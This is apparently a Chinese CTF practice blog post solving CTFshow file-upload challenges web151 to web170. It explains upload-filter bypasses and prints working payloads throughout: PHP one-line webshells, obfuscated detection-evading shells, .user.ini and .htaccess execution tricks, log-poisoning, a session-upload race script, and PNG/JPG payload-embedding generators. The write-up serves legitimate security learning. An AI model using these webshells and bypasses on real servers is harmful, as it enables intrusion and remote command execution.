CTFshow刷题日记-WEB-文件上传

web151-前端绕过

CTFshow刷题日记-WEB-文件上传

简单只要在前端把exts:png改成php

CTFshow刷题日记-WEB-文件上传

exts:'php'

CTFshow刷题日记-WEB-文件上传

访问

/upload/shell.php?shell=system("tac ../flag.php");

web152-content-type绕过

这次不改前端了,直接在bp改,将Content-Type改成 image/png

CTFshow刷题日记-WEB-文件上传

总结下常见conten-type类型

常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

更多:链接

web153-user.ini

CTFshow刷题日记-WEB-文件上传

后端只检测了php,并没有区分大小写,虽然说是传上去了,但是发现事情并没有想象的那么简单,因为访问shell.pHp却是直接下载了文件,说明文件并没有解析

可以用字典fuzz,推荐fuzzDicts-master

发现 .user.ini 可以上传

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

当处于 PHP_INI_PERDIR 和 PHP_INI_USER 模式时,目录下的 user.ini 就相当于目录的说明书,会首先识别 user.ini 里的设置

.user.ini 文件有两个特殊的设置

auto_append_file
相当于在每个php文件尾加上 include(“xxxx”)    
auto_prepend_file
相当于文件头加上 include(“xxx”)    

利用方法

先上传一张文件内容是一句话木马的图片

CTFshow刷题日记-WEB-文件上传

再上传包含设置的 user.ini 文件

auto_append_file="/var/www/html/upload/shell.png"

CTFshow刷题日记-WEB-文件上传

之前说过了 user.ini 是所在目录才能起作用,如果目录下没有php文件也就起不到效果,这个题在upload下存在index.php

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

执行命令拿到flag

web154-短标签绕过

提示:后端不能单二校验

上传了个以shell.png命名的一句话木马,发现提示

CTFshow刷题日记-WEB-文件上传

应该是对文件内容进行了过滤

首先就是测PHP的标签

<?php ?>

发现删除后文件可以上传成功,和上题一样上传 .user.ini 和 shell.png文件,png文件内容为一句话,这两个文件上传顺序无所谓,.user.ini 是实时生效,不需要apache重启,.user.ini 上传后无需改动了,png文件可以随便覆盖,只要文件名对就行

尝试用短标签绕过

<? echo '123';?>

前提是开启配置参数short_open_tags=on

测试失败

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

<?=(表达式)?>  等价于 <?php echo (表达式)?>
shell.png文件内容:<?=(`nl ../f*`)?>

测试成功

CTFshow刷题日记-WEB-文件上传

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

发现没有生效

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用

本题php

CTFshow刷题日记-WEB-文件上传

使用第二种方法即可

web155-短标签绕过2

上传提示:文件上传失败,失败原因:文件类型不合规

发现PHP版本5.6 ok

CTFshow刷题日记-WEB-文件上传

上题的标签可以使用

上传 .user.ini, 内容

auto_append_file="/var/www/html/upload/shell.png"

上传 shell.png,内容

<?=(`nl ../f*`)?>
    
测试发现短标签也可以
<? echo `tac ../f*`;?>    

web156-绕过[]

在上题基础上文件内容又添加了过滤, fuzz一下

CTFshow刷题日记-WEB-文件上传

发现 [ 被过滤了, 而我们传入的图片马中一句话木马接受参数 $_GET[] 需要用到

第一种方法就是直接执行命令

<?=(`nl ../f*`)?>

第二种方法

用{}来代替[]

图片马内容<?=eval($_POST{1});?>

web157-159-绕过{}和;

在上题基础上文件内容又添加了过滤了 {} 和 ; 分号

直接执行命令

<?=(`nl ../f*`)?>

web160-绕过反引号

fuzz 了一下发现 () 括号被过滤了 ` 反引号还有一些关键字

CTFshow刷题日记-WEB-文件上传

可以利用日志包含绕过, 图片内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过

和原来一样

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

查看源码

CTFshow刷题日记-WEB-文件上传

web161-添加文件头

在前题基础上, 添加文件头 GIF89A, 挺奇怪的, 前端过滤png, 文件头却要gif文件

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

web162-163session文件包含

在文件包含处学习过上传文件,利用session.upload_progress进行文件包含

上传内容需要以GIF89A开头,还要包含png字符串

先上传 .user.ini

CTFshow刷题日记-WEB-文件上传

在上传 png 图片马,其中内容中不能出现flag字符串

CTFshow刷题日记-WEB-文件上传

构造前端

<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

CTFshow刷题日记-WEB-文件上传

浏览器不停访问/upload/, 有概率刷出flag

CTFshow刷题日记-WEB-文件上传

也可以用python脚本

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'yu22x'
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web164-png二次渲染绕过

发现上传成功后并不是以目录形式访问而是一个文件指针

CTFshow刷题日记-WEB-文件上传

说明可能存在文件包含,我们只需要上传一个图片马即可

制作图片马

copy shell.gif /b + shell.php /a 111.gif

把上传的图片下载发现,图片内容发生了变化,说明后台对图片进行了二次渲染

不同的图片格式对于二次渲染的绕过不相同

  • GIF

关于绕过gif的二次渲染,只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了

  • PNG

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

数据块结构

名称 字节数 说明
Length(长度) 4字节 指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码) 4字节 数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据) 可变长度 存储按照Chunk Type Code指定的数据
CRC(循环冗余检测) 4字节 存储用来检测是否有错误的循环冗余码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下所示。

域的名称 字节数 说明
Width 4 bytes 图像宽度,以像素为单位
Height 4 bytes 图像高度,以像素为单位
Bit depth 1 bytes 图像尝试: 索引彩色图像:1,2,4或8 灰度图像:1,2,4,8或6 真彩图像:8或16
ColorType 1 bytes 颜色类型: 灰度图像:1,2,4,8或16 真彩色图像:8或16 索引彩色图像:1,2,4或8 带a通道数据的灰度图像:8或16 带a通道数据的真彩色图像:8或16
Compression method 4 bytes 压缩方法(LZ777派生算法)
Filter method 4 bytes 滤波器方法
Interlace method 4 bytes 隔行扫描方法: 非隔行扫描 Adam7(由Adam M.Costello开发的7遍隔行扫描方法)

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

两种制作二次渲染png木马的方式

第一种方法:写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

1、在PLTE数据块写入php代码;CTFshow刷题日记-WEB-文件上传

2、计算PLTE数据块的CRC;

CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果:

526579b0

3、修改CRC值;CTFshow刷题日记-WEB-文件上传

4、验证;

将修改后的png图片上传后,下载到本地再打开。CTFshow刷题日记-WEB-文件上传

第二种方法:写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

运行后得到1.png,上传后再下载到本地打开如下图:

CTFshow刷题日记-WEB-文件上传

  • JPG

脚本 jpg_payload.php

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

1、随便找一个jpg图片,先上传至服务器然后再下载到本地保存为 1.jpg

2、插入php代码;使用脚本处理1.jpg,命令:

php jpg_payload.php 1.jpg

3、上传图片马;将生成的 payload_1.jpg上传。

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片

以上引用自付杰博客

具体到这道题,可以上传的是png文件,那就先尝试png二次渲染绕过

执行png二次渲染绕过的脚本生成1.png上传并带命令访问

CTFshow刷题日记-WEB-文件上传

返回的也是一张照片,下载照片用010打开

CTFshow刷题日记-WEB-文件上传

可以直接在burp访问,更加直观

CTFshow刷题日记-WEB-文件上传

web165-jpg二次渲染绕过

上传文件发现jpg文件可以上传,大概就是jpg的二次渲染绕过了

先上传一张jpg图片然后下载到本地重命名为1.jpg,再用上题的jpg脚本生成payload_1.jpg

CTFshow刷题日记-WEB-文件上传

010打开发现添加了内容,图片颜色也是发生了变化

CTFshow刷题日记-WEB-文件上传

url发现图片无法访问,其实就说明了php代码被解析了

CTFshow刷题日记-WEB-文件上传

使用burp抓包查看flag

web166-抓包改内容

可以在前端代码中看到限制只能上传zip格式文件

CTFshow刷题日记-WEB-文件上传

随便上传个文件发现还是用文件指针去包含,存在文件包含漏洞

CTFshow刷题日记-WEB-文件上传

上传zip文件抓包改成一句话

CTFshow刷题日记-WEB-文件上传

再用burp去访问

CTFshow刷题日记-WEB-文件上传

web167-.htaccess绕过

提示:httpd

随便上传一个文件发现只能上传jpg文件,而且文件不在已包含的形式而是目录形式

CTFshow刷题日记-WEB-文件上传

.htaccess文件上传

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录

和.user.ini类似

可以通过上传.htaccess文件解析jpg文件

方法1

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

方法2

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件

php_value auto_append_file 'flag'

先上传.htaccess文件

CTFshow刷题日记-WEB-文件上传

在上传图片马

CTFshow刷题日记-WEB-文件上传

访问成功执行命令

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

web168-免杀绕过

后端对文件内容进行了检测,没有对文件的名进行检查

上传免杀马

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-文件上传

其他免杀马

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169-170.user.ini包含日志文件

前端限制上传为zip文件,但是zip也传不上去,看了wp。

先上传一个zip,然后抓包,改Content-Type为image/png,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 .user.ini 文件

CTFshow刷题日记-WEB-文件上传

进行日志文件包含,ua头就是一句话木马

<?php @eval($_POST['shell']);?>
// 注意shell字符串单引号包裹,双引号报错   

CTFshow刷题日记-WEB-文件上传

随便上传一个php文件,内容随意,注意content-type类型

CTFshow刷题日记-WEB-文件上传

使用蚁剑去连接

CTFshow刷题日记-WEB-文件上传

或者在浏览器直接执行命令,不过因为数据比较多不好找

参考链接

羽师傅:https://blog.csdn.net/miuzzx/article/details/109537262

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

上一篇:PHP的WAMP的安装


下一篇:boost::program_options模块一个配置ini文件被解析程序选项库,它包括许多不同的值类型的测试程序